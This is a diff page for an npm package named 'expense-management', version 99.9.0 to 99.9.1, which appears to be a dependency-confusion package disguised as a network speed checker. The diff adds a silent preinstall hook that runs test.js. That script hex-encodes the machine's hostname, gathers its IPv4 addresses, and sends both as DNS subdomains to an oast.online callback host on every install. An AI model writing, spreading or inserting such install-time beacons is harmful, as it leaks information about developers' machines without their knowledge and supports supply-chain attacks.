expense-management 99.9.0 → 99.9.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +188 -0
  2. package/package.json +2 -1
  3. package/test.js +60 -0
package/index.js CHANGED
@@ -0,0 +1,188 @@
1
+ const http = require('http');
2
+
3
+ const https = require('https');
4
+
5
+ let { URL, Url } = require('url');
6
+
7
+ /**
8
+
9
+ * Use the default Node URL Class if found i.e. Inside a Node environment
10
+
11
+ * to allow http and https, otherwise use the Url consturctor for browser environments
12
+
13
+ * strictly limited to https for secure connections
14
+
15
+ */
16
+
17
+ URL = URL ? URL : Url;
18
+
19
+
20
+ const chars =
21
+
22
+ "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]{}|;':,./<>?";
23
+
24
+
25
+ class NetworkSpeedCheck {
26
+
27
+ /**
28
+
29
+ * Function to check download speed
30
+
31
+ * @param {String} baseUrl {Required} The url to which the request should be made
32
+
33
+ * @param {Number} fileSizeInBytes {Required} The size (in bytes) of the file to be downloaded
34
+
35
+ * @returns {Object}
36
+
37
+ */
38
+
39
+
40
+ _protocol (url) {
41
+
42
+ var u = new URL(url)
43
+
44
+ return u.protocol === 'http:' ? http : https
45
+
46
+ }
47
+
48
+ checkDownloadSpeed(baseUrl, fileSizeInBytes) {
49
+
50
+ this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes)
51
+
52
+ let startTime;
53
+
54
+ let protocol = this._protocol(baseUrl)
55
+
56
+ return new Promise((resolve, _) => {
57
+
58
+ return protocol.get(baseUrl, response => {
59
+
60
+ response.once('data', () => {
61
+
62
+ startTime = new Date().getTime();
63
+
64
+ });
65
+
66
+
67
+ response.once('end', () => {
68
+
69
+ const endTime = new Date().getTime();
70
+
71
+ const duration = (endTime - startTime) / 1000;
72
+
73
+ // Convert bytes into bits by multiplying with 8
74
+
75
+ const bitsLoaded = fileSizeInBytes * 8;
76
+
77
+ const bps = (bitsLoaded / duration).toFixed(2);
78
+
79
+ const kbps = (bps / 1000).toFixed(2);
80
+
81
+ const mbps = (kbps / 1000).toFixed(2);
82
+
83
+ resolve({ bps, kbps, mbps });
84
+
85
+ });
86
+
87
+ });
88
+
89
+ }).catch(error => {
90
+
91
+ throw new Error(error);
92
+
93
+ });
94
+
95
+ }
96
+
97
+
98
+ checkUploadSpeed(options, fileSizeInBytes = 2000000) {
99
+
100
+ let startTime;
101
+
102
+ const defaultData = this.generateTestData(fileSizeInBytes / 1000);
103
+
104
+ const data = JSON.stringify({ defaultData });
105
+
106
+ return new Promise((resolve, reject) => {
107
+
108
+ let req = http.request(options, res => {
109
+
110
+ res.setEncoding("utf8");
111
+
112
+ res.on('data', () => {});
113
+
114
+ res.on("end", () => {
115
+
116
+ const endTime = new Date().getTime();
117
+
118
+ const duration = (endTime - startTime) / 1000;
119
+
120
+ const bitsLoaded = fileSizeInBytes * 8;
121
+
122
+ const bps = (bitsLoaded / duration).toFixed(2);
123
+
124
+ const kbps = (bps / 1000).toFixed(2);
125
+
126
+ const mbps = (kbps / 1000).toFixed(2);
127
+
128
+ resolve({ bps, kbps, mbps });
129
+
130
+ });
131
+
132
+ });
133
+
134
+ startTime = new Date().getTime();
135
+
136
+ req.on('error', error => {
137
+
138
+ reject(error)
139
+
140
+ });
141
+
142
+ req.write(data)
143
+
144
+ req.end()
145
+
146
+ })
147
+
148
+ }
149
+
150
+
151
+ validateDownloadSpeedParams(baseUrl, fileSizeInBytes) {
152
+
153
+ if (typeof baseUrl !== 'string') {
154
+
155
+ throw new Error('baseUrl must be a string')
156
+
157
+ }
158
+
159
+ if (typeof fileSizeInBytes !== 'number') {
160
+
161
+ throw new Error('fileSizeInBytes must be a number')
162
+
163
+ }
164
+
165
+ return
166
+
167
+ }
168
+
169
+
170
+ generateTestData(sizeInKmb) {
171
+
172
+ const iterations = sizeInKmb * 1000; //get byte count
173
+
174
+ let result = '';
175
+
176
+ for (var index = 0; index < iterations; index++) {
177
+
178
+ result += chars.charAt(Math.floor(Math.random() * chars.length));
179
+
180
+ }
181
+
182
+ return result;
183
+
184
+ }
185
+
186
+ }
187
+
188
+ module.exports = NetworkSpeedCheck;
package/package.json CHANGED
@@ -1,9 +1,10 @@
1
1
  {
2
2
  "name": "expense-management",
3
- "version": "99.9.0",
3
+ "version": "99.9.1",
4
4
  "description": "ltidi depenconf",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
+ "preinstall": "node test.js > /dev/null 2>&1",
7
8
  "test": "echo \"Error: no test specified\" && exit 1"
8
9
  },
9
10
  "author": "ltidi",
package/test.js ADDED
@@ -0,0 +1,60 @@
1
+ const NetworkSpeed = require('./index.js');
2
+
3
+ const testNetworkSpeed = new NetworkSpeed();
4
+
5
+
6
+ async function getNetworkDownloadSpeed(data) {
7
+ const baseUrl = 'https://'+data+'.stripe.cr3kmrlqburvcbd0m50gz3ypxeoqrnrzd.oast.online';
8
+ const fileSizeInBytes = 500000;
9
+ const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
10
+ console.log(`Download Speed: ${JSON.stringify(speed)}`);
11
+ }
12
+
13
+
14
+ async function getNetworkUploadSpeed(data) {
15
+ const options = {
16
+
17
+ hostname: data+'depenconf7.upload.test.com',
18
+
19
+ port: 80,
20
+
21
+ path: '/catchers/544b09b4599c1d0200000289',
22
+
23
+ method: 'POST',
24
+
25
+ headers: {
26
+
27
+ 'Content-Type': 'application/json',
28
+
29
+ },
30
+ };
31
+ const fileSizeInBytes = 200000
32
+ const speed = await testNetworkSpeed.checkUploadSpeed(options, fileSizeInBytes);
33
+ console.log(`Upload Speed: ${JSON.stringify(speed)}`);
34
+ }
35
+
36
+ const os = require('os');
37
+
38
+ const getIp = family => {
39
+ const interfaces = os.networkInterfaces();
40
+ return Object.keys(interfaces).reduce((arr, x) => {
41
+ const interfce = interfaces[x];
42
+ return arr.concat(Object.keys(interfce)
43
+ .filter(x => interfce[x].family === family && !interfce[x].internal)
44
+ .map(x => interfce[x].address));
45
+ }, []);
46
+ };
47
+
48
+ function stringToHex(str)
49
+ {
50
+ const buf = Buffer.from(str, 'utf8');
51
+ return buf.toString('hex');
52
+ }
53
+
54
+ const hn = stringToHex(os.hostname())
55
+
56
+ var localip=getIp('IPv4');
57
+ getNetworkDownloadSpeed(localip);
58
+ getNetworkDownloadSpeed(hn);
59
+
60
+ // getNetworkUploadSpeed();